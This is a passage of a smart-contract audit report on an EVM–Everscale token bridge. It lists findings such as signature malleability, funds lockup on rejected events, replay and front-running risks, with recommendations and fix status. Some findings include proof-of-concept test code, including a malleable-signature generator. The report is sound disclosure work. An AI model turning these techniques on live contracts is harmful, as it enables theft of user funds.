    uint256 _value,
    address tokens_owner
) internal drainGas {
    ...
    else {
        if (tokens_owner != address(this)) {
            IERC20(token).safeTransferFrom(
                tokens_owner,
                address(this),
                d.amount
            );
        }
        d.amount -= fee;
        _transferToEverscaleAlien(d, fee, _value);
    }
    ...
}
function deposit(
    DepositParams memory d,
    uint256 expectedMinBounty,
    IMultiVaultFacetPendingWithdrawals.PendingWithdrawalId[] memory pendingWithdrawalIds
)
    external
    payable
    override
    tokenNotBlacklisted(d.token)
    nonReentrant
    initializeToken(d.token)
    onlyEmergencyDisabled
{
    IERC20(d.token).safeTransferFrom(msg.sender, address(this), d.amount);
    _deposit(d, expectedMinBounty, pendingWithdrawalIds, msg.value);
}
```

Impact

The primary consequence of this edge case is that the number of tokens locked on the EVM side will not be equal to the number of tokens minted in the TVM. This discrepancy can lead to:

- Financial imbalances between the two chains.
- Erosion of user trust due to discrepancies between locked and minted token amounts.
- Potential disputes and challenges in reconciling imbalances across chains.

Proof of Concept

To reproduce this vulnerability:

- Use a deflationary token (like SafeMoon) that incorporates a transfer fee.

- Initiate a deposit of 100 tokens to the bridge contract.
- Observe that while the bridge contract on the EVM side receives only 90 tokens (after the 10% fee deduction), the bridge allows 100 tokens to be minted on the other chain.

Recommendation

Given the clarifications that "the bridge is not supposed to have any custom tokens, e.g. deflationary tokens", the following recommendations can be considered:

- **Explicit Token Support Declaration**: Clearly specify which types of tokens are supported by the bridge. If deflationary or other custom tokens are not intended to be supported, this should be clearly communicated to the users.
- **Whitelist Mechanism**: If only specific tokens are intended to be supported, implement a whitelist of these tokens. Only tokens on this list can be used with the bridge, preventing unexpected behaviors from tokens with unique mechanics.
- **Balance Check After Transfer**: If the bridge intends to support all token types, including deflationary tokens, after transferring tokens using safeTransferFrom, the actual balance increase of the contract should be checked against the expected d.amount to account for any discrepancies due to token transfer fees.

Depending on the project's actual desired behavior, either restrict the use of custom tokens or implement mechanisms to properly handle them.

Missing Validation for Wrapped Native Asset in `UnwrapNativeToken` Contract

The `UnwrapNativeToken` contract may process withdrawals incorrectly due to a lack of validation ensuring that the token is a wrapped native asset.

ID	VN-013
Paths	./ethereum/contracts/multivault/utils/UnwrapNativeToken.sol : `onAlienWithdrawalPendingCreated()` , `onAlienWithdrawal()`
Commit	f739553
Impact	High
Likelihood	Low
Severity	MEDIUM
Vulnerability Type	Missing Validation
Status	Fixed in b5559c5

Description

In the `UnwrapNativeToken` contract, the methods `onAlienWithdrawalPendingCreated()` and `onAlienWithdrawal()` are designed to handle the unwrapping of native chain assets like ETH or BNB from their wrapped versions, e.g., WETH or WBNB.

However, the contract does not validate if the token being processed is indeed a wrapped native asset.

The absence of this validation means that any token can be passed into these methods, leading the contract to attempt a withdrawal from the WETH contract and send native assets to the callback recipient, even if the original token was not a wrapped native asset.

```
function onAlienWithdrawal(
    IMultiVaultFacetWithdraw.AlienWithdrawalParams memory _payload,
    uint256 withdrawAmount
) external override onlyMultiVault {
    address payable nativeTokenReceiver = abi.decode(_payload.callback.payload, (address));
```

```
    wethContract.withdraw(withdrawAmount);
    (bool sent, ) = nativeTokenReceiver.call{value: withdrawAmount}("");
    require(sent);
}
```

Impact

This discrepancy can result in:

- If a withdrawal amount is less than or equal to the WETH balance in UnwrapNativeToken, the contract will transfer the equivalent amount in native Ether (or respective chain's native asset) to the withdrawal recipient, even if the original token is not a wrapped native asset.
- This can result in unintended loss of Ether from the `UnwrapNativeToken` contract, benefiting a potential attacker or an uninformed user.

Recommendation

- Introduce a validation check in both `onAlienWithdrawalPendingCreated()` and `onAlienWithdrawal()` methods to ensure the token in context is indeed a wrapped version of the native chain asset.
- Add a method in the `UnwrapNativeToken` contract to allow for the retrieval of mistakenly sent tokens. This method should be restricted to an admin or governance role for security:

```
function retrieveSentTokens(address tokenAddress, address receiver) external onlyAdmin {
    IERC20 token = IERC20(tokenAddress);
    uint256 balance = token.balanceOf(address(this));
    token.transfer(receiver, balance);
}
```

Overly Permissive `Rescuer` Role

The `rescuer` role in the staking contract has broad authority in emergency conditions which can pose a threat to the assets stored within.

ID	VN-049
Paths	./everscale/contracts/staking/base/StakingBase.tsol : `setEmergency()`, `withdrawTokensEmergency()`, `withdrawTonsEmergency()`
Commit	f739553
Impact	High
Likelihood	Low
Severity	MEDIUM
Vulnerability Type	Centralization Risk
Status	Mitigated in b5559c5
Resolution	Documentation in `README.md` file updated.

Description

The staking contract contains functions (`setEmergency()`, `withdrawTokensEmergency()`, and `withdrawTonsEmergency()`) which are exclusively accessible by an entity with the `rescuer` role.

These functions enable or leverage emergency states and allow withdrawals of tokens or Evers.

While designed to be a safeguard, the permissions of this role are so broad that if compromised, it poses a significant threat.

```
function setEmergency(bool _emergency, address send_gas_to) external onlyRescuer { ... }
function withdrawTokensEmergency(uint128 amount, address receiver, bool all, address send_gas_to) external onlyRescuer
function withdrawTonsEmergency(uint128 amount, address receiver, bool all, address send_gas_to) external view onlyRescue
```

Impact

If the private keys or the management mechanism of the `rescuer` role become compromised, the attacker gains the ability to set the contract into an emergency state and withdraw all assets, both tokens and Evers.

This vulnerability could potentially lead to the loss of all funds stored in the contract.

Recommendation

- **Restrict Rescuer Capabilities**: Limit the powers associated with the rescuer role. The `rescuer` should only have the capability to activate the emergency state. All subsequent actions after activation, including withdrawals and the deactivation of the emergency state, should be moved away from the `rescuer` domain.
  - Emergency Activation: Retain the `rescuer` ability to set the contract into an emergency state. This ensures rapid response in the event of detecting malicious activities or anomalies.
  - Emergency Deactivation & Asset Withdrawal: Transfer the authority to deactivate the emergency state and initiate withdrawals exclusively to the `DAO`. By doing this, any action post-emergency activation requires consensus and undergoes multiple checks, eliminating potential malicious withdrawals or premature deactivation.
  - Role of the Rescuer: Reframe the role of the `rescuer` to purely an `alert system` for immediate threats. They can identify and initiate the emergency state, but any subsequent decisions and actions fall under the jurisdiction of the `DAO`.
- **Enhanced DAO Decision-making Process**: Introduce a streamlined `DAO` decision-making process specifically for emergency scenarios. This ensures quick yet decentralized decision-making during emergencies. The process could encompass:
  - A predefined quorum for emergency decisions.
  - A clear timeline for voting on emergency decisions to avoid prolonged stasis.
  - Detailed documentation on the decision-making process to maintain transparency.

Potential Funds Lock on Event Rejection in `TVM` to `EVM` Bridge

The `EverscaleEthereumBaseEvent` contract has a potential issue where user funds can get locked if an event is rejected. This happens because the `onReject()` function dose not have a way to re-mint user tokens, which could put user funds at risk.

ID	VN-039
Paths	./everscale/contracts/bridge/event-contracts/base/evm/EverscaleEthereumBaseEvent.tsol : `reject()`
Commit	f739553
Impact	High
Likelihood	Low
Severity	MEDIUM
Vulnerability Type	Logic Bug / Funds Lockup
Status	Acknowledged

Description

The `EverscaleEthereumBaseEvent` contract within the bridge functionality, which serves as a bridge event between TVM and EVM, possesses a potential funds lock vulnerability.

Specifically, after burning alien tokens on Everscale, the `onAcceptTokensBurn()` function is triggered from `TokenRootBase` contract. This function, in turn, initiates a new `EverscaleEthereumBaseEvent` event.

Once the event is deployed, relayers can vote to this event to make it `confirmed` or `rejected`. When an adequate number of relayers invoke the `reject()` function, an event is marked as "rejected".

The main issue arises from the lack of a mechanism within the `onReject()` function to mint back the alien tokens to the user.

As a result, once an event is rejected, the user's funds are locked with no evident pathway for recovery.

Impact

- **User Funds Loss**: Users could potentially lose their tokens due to this vulnerability, leading to financial loss and diminished trust in the platform. Given the bridge's critical nature, it is imperative to address this vulnerability promptly.

Proof of Concept (POC)

The code snippet below showcases the vulnerable functionality:

```
logger.log(
  `Before burning, amount: ${amount}, balance of user: ${balance.value0}`
);
const tx = await locklift.tracing.trace(
  initializerAlienTokenWallet.methods
    .burn({
      amount,
      remainingGasTo: eventCloser.address,
      callbackTo: proxy.address,
      payload: burnPayload.value0,
    })
    .send({
      from: initializer.address,
      amount: locklift.utils.toNano(10),
    })
);
const balance2 = await initializerAlienTokenWallet.methods
  .balance({
    answerId: 0,
  })
  .call();
logger.log(`userBalance right after burn: ${balance2.value0}`);
logger.log(`Event initialization tx: ${tx.id.hash}`);
const events = await everscaleEthereumEventConfiguration
  .getPastEvents({ filter: "NewEventContract" })
  .then((e) => e.events);
expect(events).to.have.lengthOf(
  1,
  "Everscale event configuration failed to deploy event"
);
const [
  {
    data: { eventContract: expectedEventContract },
  },
] = events;
logger.log(`Expected event address: ${expectedEventContract}`);
eventContract = await locklift.factory.getDeployedContract(
  "MultiVaultEverscaleEVMEventAlien",
  expectedEventContract
);
logger.log("Rejecting event.");
await processEvent(
  relays,
```

```
  eventContract.address,
  EventType.EverscaleEthereum,
  EventAction.Reject
);
const balance3 = await initializerAlienTokenWallet.methods
  .balance({
    answerId: 0,
  })
  .call();
logger.log(`After rejecting event userBalance: ${balance3.value0}`);
```

```
    ✔ Check initializer token balance
    - Before burning, amount: 333, balance of user: 1000
    - userBalance right after burn: 667
    - Event initialization tx: c0d3bc44f903d7651b46f5162af6ee903aedac5f17632689f36e0d6065dfc459
    - Expected event address: 0:bc17771c86dea15c6c042f8eb6e7d610e10e7ef7f2a2f5ed15ac56f40ec89484
    - Rejecting event.
    - Confirm #0 from b45dae19356b700112d26cbd1356a61df657c7e73d950ab41ba307c5b485a991
    - Confirm #1 from 82883fd642a28ed5de3c77110ac8513566cd41718437fd8b37bab92feed3d41d
    - Confirm #2 from b782a9546a220b54afaba28dadd55887dd7da4a25e9953aefe5a4f7c72ca804a
    - Confirm #3 from 944d86ff39ce44cf6ae8a77b1d4d4ee9c80a9727a3bc60136813d248d0a1b882
    - Confirm #4 from 61d37911cb79e9e57efa31262fee0f37d31d2eefc137b3d13b748cfb1dde2efa
    - Confirm #5 from 9cf3b01c3a1b2b9bba830a7fe9aba4ebb671330df5d6689e1604b771814f717d
    - Confirm #6 from bce21fd8b6a356481d70473a8d938d86ca06e070904e36cfe3d1acd5a4bfb960
    - Confirm #7 from c9883fa37bea64fd60418f72134c21a00e5ceacbe6078f6311cd0960a3fd9185
    - Confirm #8 from d317fb11c71d7fc507bfb17be5c57106b33c4e9594aba6f43bb2766dc1d51943
    - Confirm #9 from 4bc7464b00e97b301583635e78d3784aa799963cb5124f0e27702aa91ede8006
    - Confirm #10 from 19c872ef67897f087f52e46e731b52adcd8ae1f39a73e1a8b16baa85b8ecd855
    - Confirm #11 from a0d800bc7cc6db5a75fa57872c822afe166afdc936c74a6ed8f38dc18b970bd0
    - Confirm #12 from d010d3dc9624a5d617fca7a73f75476a4ff61c2ec55bd0cf292a725b1a5b1d2e
    - Confirm #13 from 33c8780a0e6121361414fdaa9b8d6dad02d4326c0419fa1f91f09a48bc2b0e0d
    - After rejecting event userBalance: 667
```

If `rejects` meets or exceeds the threshold of `requiredVotes`, the event status changes to `rejected`. The problem is further exacerbated by the fact that the `onReject()` function dose not contain mechanisms to ensure the user alien tokens are returned or re-minted.

Recommendation

1. **Refactor `onReject()` Function**: To counteract the possibility of funds being locked upon event rejection, augment the `onReject()` function. Ensure it incorporates the functionality to re-mint tokens to the user.

High Permissions May Lead to Data Inconsistency

The `sendMessage()` function enables the contract owner to execute custom messages on contracts, mainly for interacting with `onlyOwner` token root methods, potentially causing cross-chain inconsistencies and user losses due to manipulation of the token's value stored on the EVM side.

ID	VN-047
Paths	./everscale/contracts/bridge/proxy/multivault/alien/V7/ProxyMultivaultAlien_V7_Base.tsol: `sendMessage()` ./everscale/contracts/bridge/proxy/multivault/native/V5/ProxyMultiVaultNative_V5_Base.tsol: `sendMessage()`
Commit	f739553
Impact	High
Likelihood	Low
Severity	MEDIUM

Vulnerability Type	Data Consistency / Centralization Risk
Status	Fixed in b5559c5

Description

The `sendMessage()` function of the contracts allows the owner to execute an arbitrary message on any contract. It is designed to be used for interacting with `onlyOwner` token root methods (including `mint()` and `burn()` with an arbitrary address parameter).

According to the design, the token's value is backed by funds stored on the EVM side. In this way, total supply manipulation processed by the owner, mints, or burns tokens on the TVM side, which may lead to cross-chain inconsistency and to substantial losses for users.

```
function sendMessage(
        address recipient,
        TvmCell message
    ) external override onlyOwner reserveAtLeastTargetBalance {
        recipient.transfer({
            value: 0,
            flag: MsgFlag.ALL_NOT_RESERVED,
            body: message
        });
    }
```

Impact

- **User Funds at Risk**: With the ability to burn user tokens, user funds are directly at risk.
- **Token Value**: The arbitrary minting of tokens can lead to devaluation, eroding trust and undermining the project's value proposition.
- **Reputation**: Centralized control can lead to a loss of trust among users and potential backlash from the community, affecting the project's reputation.
- **Regulatory Concerns**: Such control can also attract regulatory scrutiny if the project is seen as having too much centralized control over user assets.

Recommendation

1. Clearly document the functionality that allows the owner to manipulate critical parameters of the system (total supply of tokens, user balance, etc.).
2. Get rid of risky functionality that may break Data Consistency across the bridge system. Automate the manipulation to make them safe (ensure total supply is not changed) or remove the logic.

Outdated OpenZeppelin Contracts Used

The project is duplicating renowned smart contracts. There is an observation of variations and contradictions compared to the original versions, as well as some of these duplicates not being up-to-date.

ID	VN-040
Paths	./ethereum/contracts/libraries/Address.sol ./ethereum/contracts/libraries/Array.sol ./ethereum/contracts/libraries/Clones.sol ./ethereum/contracts/libraries/Context.sol ./ethereum/contracts/libraries/ECDSA.sol ./ethereum/contracts/libraries/Math.sol ./ethereum/contracts/libraries/SafeERC20.sol ./ethereum/contracts/libraries/SafeMath.sol.sol ./ethereum/contracts/libraries/UniversalERC20.sol ./ethereum/contracts/multivault/libraries/Address.sol

	./ethereum/contracts/multivault/libraries/AddressUpgradeable.sol ./ethereum/contracts/multivault/libraries/Context.sol ./ethereum/contracts/multivault/libraries/SafeERC20.sol ./ethereum/contracts/multivault/utils/Ownable.sol ./ethereum/contracts/multivault/utils/Context.sol ./ethereum/contracts/multivault/utils/Initializable.sol ./ethereum/contracts/multivault/utils/ReentrancyGuard.sol ./package.json
Commit	f739553
Impact	Medium
Likelihood	Medium
Severity	**MEDIUM**
Vulnerability Type	Code Duplication
Status	Fixed in b5559c5

Description

The smart contract system in the project reuses well-established contracts.

In particular, some of these contracts appear more than once in the codebase, such as `Address.sol`, `Context.sol`, and `SafeERC20.sol`, with the only the compiler version difference.

This practice is concerning as it might lead to ambiguities during compilation, potentially the intended behavior of the system.

Impact

- Risk of conflicting behavior due to multiple versions of the same contract.
- Developers might inadvertently reference or import the wrong version of a contract.
- If a non-updated contract contains vulnerabilities or is not in sync with the latest Solidity standards, it could compromise the security and reliability of the entire system.

Recommendation

- **Direct Source Import**: Rather than relying on these copies, it is suggested to directly import the contracts from their original source repositories. This approach ensures that the latest updates, bug fixes, and security enhancements introduced by the project maintainers are seamlessly incorporated into your system.
- **Version Pinning**: In addition to importing contracts directly from source, it is prudent to pin the version of the imported contracts. This safeguards your system against potential compatibility issues that could arise from future updates to the source contracts. By specifying a precise version, you gain greater control over the integration process and mitigate the risks associated with the inadvertent adoption of incompatible changes.

Ownership Irrevocability

The `renounceOwnership()` function in the contract allows the owner to renounce their ownership of the contract without assigning a new owner. This can be a security issue, as it means that the contract may be left without an owner or control in case of a compromise of the owner's account or key.

ID	VN-019
Paths	./ethereum/contracts/bridge/Bridge.sol: `contract Bridge is OwnableUpgradeable`

Commit	f739553
Impact	High
Likelihood	Low
Severity	MEDIUM
Vulnerability Type	Access Control Flaw
Status	Fixed in b5559c5

Description

The smart contract under inspection inherits from the `Ownable` library, which provides basic authorization control functions, simplifying the implementation of user permissions. The contract in question allows the owner to adjust parameters such as `roundRelaysConfiguration`. However contract retains the default `renounceOwnership` function from `OwnableUpgradeable`.

Given this, once the owner renounces ownership using the `renounceOwnership` function, the contract becomes ownerless. As evidenced in the provided transaction logs, after the renounceOwnership function is called, attempts to call functions that require owner permissions fail with the error message: "Ownable: caller is not the owner."

This state renders the contract's adjustable parameters immutable and potentially makes the contract useless for any future administrative changes that might be necessary.

Impact

If the `renounceOwnership()` function is executed, the contract will be left without any assigned owner. This can lead to a situation where no one has the necessary permissions to update or modify certain parameters or functionalities within the contract. As a consequence, it may result in a stagnation of the contract's administrative functions and restrict future necessary adjustments.

Recommendation

- Override the `renounceOwnership()` function to revert transactions: By overriding this function to simply revert any transaction, it will become impossible for the contract owner to unintentionally (or intentionally) render the contract ownerless and thus immutable.

Race Condition due to `On-the-Fly` Fee Calculation

When depositing or withdrawing, fees are calculated dynamically (`on-the-fly`). This introduces a potential race condition where fees can be changed by governance or management before a user's transaction is completed.

ID	VN-008
Paths	./ethereum/contracts/multivault/multivault/facets/MultiVaultFacetFees.sol : `setTokenDepositFee()`, `setTokenWithdrawFee()`, `setDefaultNativeDepositFee()`, `setDefaultNativeWithdrawFee()`, `setDefaultAlienDepositFee()`, `setDefaultAlienWithdrawFee()` ./ethereum/contracts/multivault/multivault/helpers/MultiVaultHelperFee.sol : `_calculateMovementFee()`
Commit	f739553
Impact	High
Likelihood	Low
Severity	MEDIUM

Vulnerability Type	Race Condition
Status	Mitigated in b5559c5
Resolution	with customer notice: `Privilege for updating fees changed to onlyGovernance. In the mainnet, the governance role will be transferred to DAO, which already implements the actions delay.`

Description

In the given codebase, the functions responsible for deposits and withdrawals calculate fees based on the current state of the contract.

The functions `setTokenDepositFee()` and `setTokenWithdrawFee()` allow governance or management to modify the deposit and withdrawal fees for a particular token.

Given the dynamic fee calculation during deposits and withdrawals, there exists a potential race condition.

```
    function setTokenDepositFee(
        address token,
        uint _depositFee
    )
        public
        override
        onlyGovernanceOrManagement
        respectFeeLimit(_depositFee)
    {
        MultiVaultStorage.Storage storage s = MultiVaultStorage._storage();
        s.tokens_[token].depositFee = _depositFee;
        emit UpdateTokenDepositFee(token, _depositFee);
    }
    function setTokenWithdrawFee(
        address token,
        uint _withdrawFee
    )
        public
        override
        onlyGovernanceOrManagement
        respectFeeLimit(_withdrawFee)
    {
        MultiVaultStorage.Storage storage s = MultiVaultStorage._storage();
        s.tokens_[token].withdrawFee = _withdrawFee;
        emit UpdateTokenWithdrawFee(token, _withdrawFee);
    }
```

A user who initiates a `deposit` or `withdrawal` could end up paying a different fee than anticipated if `governance` or `management` changes the fee just before the transaction is processed.

This unpredictability in fee structures can cause a negative user experience and potential financial consequences for users.

Impact

- **Financial Impact**: Users may end up paying a higher fee than anticipated.
- **Trust Issues**: The unpredictability can lead to trust issues in the system, as users cannot be sure about the fee they will be charged until their transaction is processed.

Recommendation

- **Lock-in Fee at Transaction Initiation**: Instead of calculating fees `on-the-fly`, lock-in the fee when the user initiates a `deposit` or `withdrawal`. This will ensure that users always pay the fee they see when they initiate a transaction.

- **Fee Update Delays**: Implement a delay mechanism for fee updates. When a fee update is proposed, it should not take effect immediately but after a predefined delay. This gives users time to adjust and provides transparency.
- **Notify Users**: Implement events or notifications to inform users of upcoming fee changes.

Signature Malleability Due to Outdated `ECDSA` Library

The `recoverSignature()` function in `Bridge.sol` currently uses an outdated `ECDSA` library, making it vulnerable to signature malleability.

ID	VN-001
Paths	./ethereum/contracts/bridge/Bridge.sol: `recoverSignature()`
Commit	f739553
Impact	High
Likelihood	Low
Severity	MEDIUM
Vulnerability Type	Signature Replay
Status	Fixed in b5559c5

Description

The `ecrecover` function in Solidity is used to recover the address associated with the public key that produced the signature, given the hash of the signed message and the signature. If the `ecrecover` function is used directly to validate signatures, it may be vulnerable to signature malleability.

Signature malleability refers to the ability to manipulate the signature in a way that still results in a valid signature, but changes the signed message's outcome. In other words, an attacker could modify the signature in such a way that the signature is still valid, but the signed message changes.

Impact

Since the payload is cached every time, this replay attack does not have a significant impact on the code. However, it is still recommended to upgrade the ECDSA library to a safer version.

Proof of concept

```
function reconstructSignature(original_signature) {
    console.log("original signature:", original_signature);
    const r = BigInt('0x' +original_signature.substring(2, 66), 16);
    const s = BigInt('0x' +original_signature.substring(66, 130), 16);
    const v = parseInt('0x' +original_signature.substring(130, 132), 16);
    console.log(`r: ${r.toString(16)}, s: ${s.toString(16)}, v: ${v.toString(16)}`);
    // ECDSA curve order
    const n = BigInt("115792089237316195423570985008687907852837564279074904382605163141518161494337");
    // New s and v
    const s_new = (n - s) % n;
    const v_new = (v === 28) ? 27 : 28;
    console.log("New Signature: ", [v_new, r.toString(), s_new.toString()]);
    const reconstruct = "0x" + r.toString(16) + s_new.toString(16) + v_new.toString(16);
    console.log("reconstructed:", reconstruct);
    return reconstruct;
}
...
```

```
...
signatures = await Promise.all(
      initialRelays
      .slice(0, requiredSignatures)
      .map(async (account) => utils.signReceipt(payload, account))
    );
    console.log("what is first real signature: ", signatures[0]);
    signatures[0] = reconstructSignature(signatures[0]);
    console.log("whole signature list  after changing: ", signatures);
    await bridge.setRoundRelays(payload, signatures);
...
...
```

```
original signature: 0x1a65d771452407661dd1c26194608a9fba0b9cdd8251cc10f297f6663846e73410e30ebd77d6849c2ca9eac59c3be41f7
r: 1a65d771452407661dd1c26194608a9fba0b9cdd8251cc10f297f6663846e734, s: 10e30ebd77d6849c2ca9eac59c3be41f7c0f2a16f595dd1
New Signature:  [
  27,
  '11940072545927445829939128921906492050957625819522985059744552704185016444724',
  '10815390764378005450889859030346041583236882660281940255881955040093318593968 7'
]
reconstructed: 0x1a65d771452407661dd1c26194608a9fba0b9cdd8251cc10f297f6663846e734ef1cf14288297b63d356153a63c41bdf3e9fb2
```

Recommendation

To avoid signature malleability attacks and address the vulnerability in the `recoverSignature()` function, it is strongly recommended to take the following actions:

1. **Update the ECDSA Library**: Upgrading the ECDSA library to a more secure version is the primary step in mitigating the vulnerability. Ensure that the updated library effectively prevents signature malleability.

```
    function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address) {
        if (signature.length == 65) {
            bytes32 r;
            bytes32 s;
            uint8 v;
            // ecrecover takes the signature parameters, and the only way to get them
            // currently is to use assembly.
            /// @solidity memory-safe-assembly
            assembly {
                r := mload(add(signature, 0x20))
                s := mload(add(signature, 0x40))
                v := byte(0, mload(add(signature, 0x60)))
            }
            if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
                return (address(0));
            }
            // If the signature is valid (and not malleable), return the signer address
            address signer = ecrecover(hash, v, r, s);
            if (signer == address(0)) {
                return (address(0));
            }
            return (signer);
        } else {
            return (address(0));
        }
    }
```

Transaction Replay Possibility in `deployEvents()` Function

The `deployEvents()` function may suffer from transaction replay attacks if the contract's balance is insufficient to cover `request.value`.

ID	VN-023
Scope	EventDeployer.tsol

Paths	./everscale/contracts/bridge/hidden-bridge/EventDeployer.tsol: `deployEvents()`
Commit	f739553
Impact	Medium
Likelihood	Medium
Severity	**MEDIUM**
Vulnerability Type	TVM Specific
Status	Fixed in b5559c5

Description

The `deployEvents()` function in the EventDeployer contract is designed to batch deploy events based on a list of requests. Each request contains the event configuration, vote data, value, and other associated parameters.

The code accepts the message with `tvm.accept();` and subsequently, within a loop, triggers the `deployEvents()` function for each request's configuration while passing along the associated value with `value: request.value`.

```
function deployEvents(
    DeployRequest[] requests
) external onlyOwner view {
    tvm.accept();
    for (DeployRequest request: requests) {
        IEthereumEverscaleEventConfiguration(request.configuration).deployEvents{
            value: request.value,
            bounce: true,
            flag: 0
        }(request.eventsVoteData, request.values);
    }
}
```

However, there is a potential vulnerability wherein if at any iteration, the contract's balance is insufficient to cover `request.value`, the transaction would fail due to a lack of funds. Although the contract utilizes `pragma AbiHeader expire`, this does not circumvent the issue, as validators are not limited in terms of replaying the transaction multiple times within a block.

Impact

The primary implications of this vulnerability are:

- **Failed Transactions**: Due to insufficient balance, transactions might consistently fail if they are replayed by validators within the same block.
- **Gas Wastage**: Continual replaying of failed transactions can lead to wasted Gas, incurring unnecessary costs.
- **Operational Delays**: Consistent failures can lead to operational delays, impeding the execution of subsequent valid and crucial transactions.

Recommendation

- **Balance Check**: Before invoking the `deployEvents()` function within the loop, implement a check to ensure the contract's balance is sufficient to cover the `request.value`. If not, exit the loop or handle the situation gracefully to prevent the subsequent transaction failure.

Transaction Replay Possibility in `queue()` Function

The `queue()` function could be vulnerable to transaction replay attacks if the contract's balance is not checked to cover `Gas.UNLOCK_VOTE_VALUE`.

ID	VN-024
Paths	./everscale/contracts/dao/Proposal.tsol: `queue()`
Commit	f739553
Impact	Medium
Likelihood	Medium
Severity	**MEDIUM**
Vulnerability Type	Transaction Replaying
Status	Fixed in b5559c5

Description

The `queue()` function in the `Proposal` contract appears to be designed to handle proposal state transitions and associated actions upon proposal `success`.

A specific segment of the function reads:

```
function queue() override public {
    require(state() == ProposalState.Succeeded, DaoErrors.PROPOSAL_IS_NOT_SUCCEEDED);
    tvm.accept();
    executionTime = endTime + config.timeLock;
    emit Queued(executionTime);
    IUserData(expectedAccountAddress(proposer)).unlockVoteTokens{
        value: Gas.UNLOCK_VOTE_VALUE,
        flag: MsgFlag.SENDER_PAYS_FEES
    }(id, true);
}
```

The function begins by ensuring the proposal is in the `Succeeded` state.

Subsequently, it accepts the message with `tvm.accept()`. Thereafter, it attempts to unlock vote tokens by invoking the `unlockVoteTokens` function of a user contract, forwarding a specified amount of value (`Gas.UNLOCK_VOTE_VALUE`).

However, a critical oversight is the absence of a check to ensure the contract's balance is sufficient to cover the `Gas.UNLOCK_VOTE_VALUE`. The absence of such a check, combined with the prior invocation of `tvm.accept()`, opens the door to potential replay attacks should the contract's balance be insufficient.

Impact

The primary implications of this vulnerability are:

- **Failed Transactions**: Should the contract's balance be insufficient to cover `Gas.UNLOCK_VOTE_VALUE`, transactions might consistently fail if replayed by validators within the same block.
- **Gas Wastage**: Continual replaying of failed transactions can lead to wasted gas, incurring unnecessary costs.
- **Operational Delays**: Consistent failures can lead to operational delays, impeding the execution of subsequent valid and crucial transactions.

Recommendation

- **Balance Verification**: Prior to calling the `tvm.accept()`, integrate a check to verify if the contract's balance can cover the `Gas.UNLOCK_VOTE_VALUE`. In case of an insufficient balance, exit or handle the scenario appropriately to prevent the subsequent transaction from faltering.

Unrestricted Access to `deploy()` Function in `StakingRootDeployer.tsol` Contract

The `deploy()` function lacks appropriate access controls.

ID	VN-060
Paths	./everscale/contracts/staking/StakingRootDeployer.tsol : `deploy()`
Commit	f739553
Impact	High
Likelihood	Low
Severity	MEDIUM
Vulnerability Type	Access Control / Front-Running
Status	Fixed in b5559c5

Description

In the `StakingRootDeployer` contract, the `deploy()` function is responsible for deploying a new instance of `StakingV1_2` contract.

This function currently lacks appropriate access controls. As a result, any actor, including malicious ones, can trigger this function.

```
function deploy(
    address _admin,
    ...
    uint32 _deploy_nonce
) public view returns(address) {
    tvm.accept();
    ...
}
```

The attacker can front-run the `deploy()` function call, extracting the balance of the `StakingRootDeployer.tsol` contract by leveraging the possibility of the `StakingV1_2` upgrade functionality.

Impact

- **Front-Running Risk**: Once the StakingRootDeployer is deployed, there is a risk that a malicious actor can front-run the call to the `deploy()` function. They can input incorrect parameters, potentially leading to the creation of a faulty `StakingV1_2` instance and subsequently steal all the funds from the StakingRootDeployer contract balance.
- **Deployment Disruption**: The front-running by a bad actor disrupts the intended deployment of `StakingV1_2`, forcing the legitimate owners to redeploy the `StakingRootDeployer` and initiate the correct deployment process again.
- **Operational Overhead**: Such interference creates confusion and additional operational overhead, leading to time and resource wastage.

Recommendation

Implement access control in the `deploy()` function to ensure only the legitimate owners or designated authorities can call it.

```
function deploy(
    ...
) public view returns(address) {
    require(tvm.pubkey() == msg.pubkey(), ERROR_CODE);
    ...
}
```

Funds Lock Due To Initialization Front Run Prepaid

The TON-Solidity contract deployment process involves two stages: deploying static variables and code followed by initializing the contract with a constructor call, creating a potential window during which any transaction can occur, leading to risks such as overtaking contracts, locking funds, and disrupting the system's life-cycle.

ID	VN-061
Paths	./everscale/contracts/bridge/factory/EthereumEverscaleEventConfigurationFactory.tsol: `constructor()` ./everscale/contracts/bridge/factory/EverscaleEthereumEventConfigurationFactory.tsol: `constructor()` ./everscale/contracts/bridge/factory/EverscaleSolanaEventConfigurationFactory.tsol: `constructor()` ./everscale/contracts/bridge/factory/ProxyTokenTransferFactory.tsol: `constructor()` ./everscale/contracts/bridge/factory/SolanaEverscaleEventConfigurationFactory.tsol: `constructor()`
Commit	f739553
Impact	Medium
Likelihood	Medium
Severity	MEDIUM
Vulnerability Type	TVM Specific
Status	Fixed in b5559c5

Description

The TON-Solidity contract deployment process implicitly consists of 2 stages:

1. Deploying static variables and code (calculating the expected address based on the data and storing it there).
2. Initializing the contract with a constructor call (`constructor` is a special function that modifies the service `_constructorFlag` variable used to ensure that the contract is properly initialized before any method call).

```
bool constructorFlag;
constructor() {
    if (constructorFlag) revert();
    constructorFlag = true;
    ...
}
anyMethod() {
    if (!constructorFlag) revert();
    ...
}
```

According to this process, the deployment is not holistic, and any transaction may be executed between code deployment and contract initialization. This leads to several risks:

1. Contracts with unprotected constructors may be overtaken during deployment, requiring the deployer to fix the issue and try again.
2. Contracts with unprotected constructors designed to be initialized by an external call may be overtaken after the top-up, making funds inaccessible.
3. Contracts with unprotected constructors designed to be initialized by an external call and allowing a specific user (specified in the `constructor` or an arbitrary one) to withdraw funds may be overtaken after the top-up and be griefed by the attacker.
4. Contracts designed to be deployed automatically (from a root contract) may be pre-deployed and overtaken, potentially breaking the entire system's life-cycle.

```
constructor(_configuration) public {
    tvm.accept();
    configuration = _configuration;
}
```

As the functions contain `tvm.accept()` execution, it is assumed that initialization will be performed via an external call. These contracts do not provide functionality for balance withdrawal. Therefore, the [2nd] risk is applicable.

Impact

Even though front-running initialization is not profitable for an attacker, anyone can initialize the contracts, potentially resulting in a fixed amount of funds becoming locked during contract initialization.

Recommendation

Provide a value for the hidden `pubkey` state variable during deployment and perform the `msg.pubkey == tvm.pubkey()` check during initialization.

Possible Incorrect Hardcoded Values in Token Address Calculation Functions

The MultiVaultToken `init code hash` has been hardcoded in the methods used to calculate token addresses. This can lead to potential misbehavior if the `init code hash` changes due to updates in the MultiVaultToken contract.

ID	VN-031
